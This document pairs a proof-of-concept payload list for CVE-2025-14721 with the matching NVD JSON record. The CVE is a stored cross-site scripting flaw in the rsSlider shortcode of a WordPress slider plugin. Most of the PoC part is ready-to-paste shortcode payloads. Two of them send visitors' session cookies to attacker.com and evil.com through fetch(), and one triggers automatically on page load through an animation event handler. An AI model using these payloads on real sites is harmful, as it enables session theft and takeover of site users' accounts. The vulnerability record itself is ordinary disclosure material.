CVE-2025-14721

<!-- WordPress rsSlider Shortcode Stored XSS PoC --> <!-- Attacker with contributor+ role can inject malicious JavaScript --> <!-- Basic XSS via shortcode attribute --> [rsSlider id='"><script>alert(document.cookie)</script>'] <!-- Event handler based XSS (no script tags needed) --> [rsSlider id='" onerror="alert(String.fromCharCode(88,83,83))" data-x='"] [rsSlider name='<img src=x onerror=alert(document.domain)>'] <!-- Steal session cookies --> [rsSlider id='"><script>fetch("https://attacker.com/steal?c="+encodeURIComponent(document.cookie))</script>'] <!-- Auto-execution without user interaction --> [rsSlider id='1" style="animation-name:exploit" onanimationstart="fetch(\'https://evil.com/log?data=\'+btoa(document.cookie))"']

{"cve": {"id": "CVE-2025-14721", "sourceIdentifier": "[email protected]", "published": "2025-12-20T04:16:08.300", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Responsive and Swipe slider plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's rsSlider shortcode in all versions up to, and including, 1.0.2 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/responsive-and-swipe-slider/trunk/shortcode.php#L100", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/b82e6dce-b130-4025-b6e3-bde2350a6362?source=cve", "source": "[email protected]"}]}}